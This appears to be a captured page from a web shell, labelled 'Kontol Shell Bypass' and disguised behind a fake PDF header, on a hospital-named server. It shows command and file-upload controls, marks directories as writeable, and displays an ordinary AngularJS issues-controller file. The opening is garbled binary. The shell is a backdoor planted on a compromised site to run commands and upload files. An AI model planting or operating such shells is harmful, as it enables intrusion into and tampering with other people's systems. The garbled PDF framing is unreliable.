%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/js/issues.js
/** Issues **/
angular.module('MetronicApp').controller("Issues", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;
	CR.sdata={p:1};
	CR.lists=function(p){
		CR.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			CR.sdata.step_completed=$("#sdd_steps").val().join(',');
		}
		show_loader();
		CR.sdata.p=p?p:1;
		$http({url: API_URL+'issues/lists', params:CR.sdata}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.result=res.result;
				CR.page=res.page;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.detail=function(id){
		CR.yourComment='';
		show_loader();
		$http({url: API_URL+'issues/detail/'+id}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.dtl=res.dtl;
				showModal($("#dtlModal"), true);
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'issues/delete', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=CR.sdata.p;
					if(CR.page.total==1){
						pg=1;
					}
					CR.lists(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.updateStatus=function(id, st){
		show_loader();
		$http({url: API_URL+'issues/updateStatus', method:'POST', data:(( {id:id, status:st} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists(CR.sdata.p);
					hideModal($("#dtlModal"));
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.addComment=function(){
		show_loader();
		$http({url: API_URL+'issues/addComment', method:'POST', data:(( {id:CR.dtl.id, comment:CR.yourComment} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.yourComment='';
					CR.dtl=res.dtl;
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteComment=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'issues/deleteComment', method:'POST', data:(( {id:id, parent_id:CR.dtl.id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.dtl=res.dtl;
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}


	/** Category */
	CR.sdataCat={};
	CR.openCatForm=function(dtl){
		hide_form_errors($("#catForm"));
		$("#catForm").find('[type="file"]').val('');
		CR.catData=dtl?dtl:{status:'1', id:'', issues:[{id: '', title: '', disp_odr : ''}]};
		showModal($("#catFormModal"), true);
	}

	CR.addIssue=function(){
		if(CR.catData.issues){
			CR.catData.issues.push({id: '', title: '', disp_odr : ''});
		}else{
			CR.catData.issues=[{id: '', title: '', disp_odr : ''}];
		}
	}

	CR.removeIssue=function(i){
		CR.catData.issues.splice(i,1);
	}
	
	CR.listCats=function(){
		show_loader();
		$http({url: API_URL+'issues/listCats', params:CR.sdataCat}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.catsList=res.catsList;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveCat=function(){
		var frm=$("#catForm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'issues/saveCat', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCats();
					hideModal($("#catFormModal"));
				}else{
					//show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editCat=function(id){
		show_loader();
		$http({url: API_URL+'issues/catDetail/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openCatForm(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteCat=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'issues/deleteCat', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCats();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Lead Detail */
	CR.lead_detail=function(id, step_completed){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/'+step_completed}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.checkPayTxnStatus=function(id){
		show_loader();
		$http({url: API_URL+'pay/checkPayTxnStatus', method:'POST', data:{trans_id:id}}).success(
			function(res){
				if(res.success=='T'){
					CR.payres=res.payres;
					showModal($("#payresModal"), true);
					if(res.statusUpdated=='T'){
						$scope.ldtl=res.dtl;
					}
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \ */
	
	/** Init **/
	CR.init=function(){
		apply_select2($("#sdd_steps"), "Step Completed (ALL)");
		show_loader();
		$http({url: API_URL+'issues/init'}).success(
			function(res){
				CR.result=res.result;
				CR.page=res.page;
				CR.catsList=res.catsList;
				CR.issueStatusLookup=res.issueStatusLookup;
				CR.used_cats=res.used_cats;
			}
		).error(function(res){showHttpErr(res);});
	}
	CR.init();
});

//EOF

Kontol Shell Bypass